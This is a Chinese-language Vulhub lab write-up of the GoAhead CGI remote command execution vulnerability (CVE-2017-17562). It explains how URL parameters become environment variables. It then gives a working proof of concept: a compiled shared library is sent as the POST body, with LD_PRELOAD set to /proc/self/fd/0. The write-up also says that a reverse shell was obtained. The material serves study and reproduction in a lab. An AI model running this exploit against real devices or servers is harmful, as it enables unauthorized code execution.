GoAhead 遠程命令執行漏洞(CVE-2017-17562)
GoAhead是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺運行的Web Server,多用于嵌入式系統、智能設備。其支持運行ASP、Javascript和標準的CGI程序,這個漏洞就出現在運行CGI程序的時候。
GoAhead在接收到請求后,將會從URL參數中取出鍵和值注冊進CGI程序的環境變量,且只過濾了REMOTE_HOST和HTTP_AUTHORIZATION。我們能夠控制環境變量,就有很多攻擊方式。比如在Linux中,LD_開頭的環境變量和動態鏈接庫有關,如LD_PRELOAD中指定的動態鏈接庫,將會被自動加載;LD_LIBRARY_PATH指定的路徑,程序會去其中尋找動態鏈接庫。
我們可以指定LD_PRELOAD=/proc/self/fd/0,因為/proc/self/fd/0是標準輸入,而在CGI程序中,POST數據流即為標準輸入流。我們編譯一個動態鏈接庫,將其放在POST Body中,發送給http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就會加載我們發送的動態鏈接庫,造成遠程命令執行漏洞。
參考鏈接:
漏洞環境
啟動漏洞環境:
docker-compose up -d
啟動完成后,訪問http://your-ip:8080/即可看到歡迎頁面。訪問http://your-ip:8080/cgi-bin/index即可查看到Hello頁面,即為CGI執行的結果。
漏洞復現
我們首先需要編譯一個動態鏈接庫,而且需要和目標架構相同。所以在實戰中,如果對方是一個智能設備,你可能需要交叉編譯。因為Vulhub運行在Linux x86_64的機器中,所以我們直接用Linux PC編譯即可。動態鏈接庫源碼:
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
這樣,before_main函數將在程序執行前被調用。編譯以上代碼:
gcc -shared -fPIC ./payload.c -o payload.so
將payload.so作為post body發送:
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
可見,Hello: world!已被成功輸出,說明我們的動態鏈接庫中的代碼已被執行:

編譯一個反彈shell的代碼,成功反彈shell:

Vulhub 文檔
推薦文章: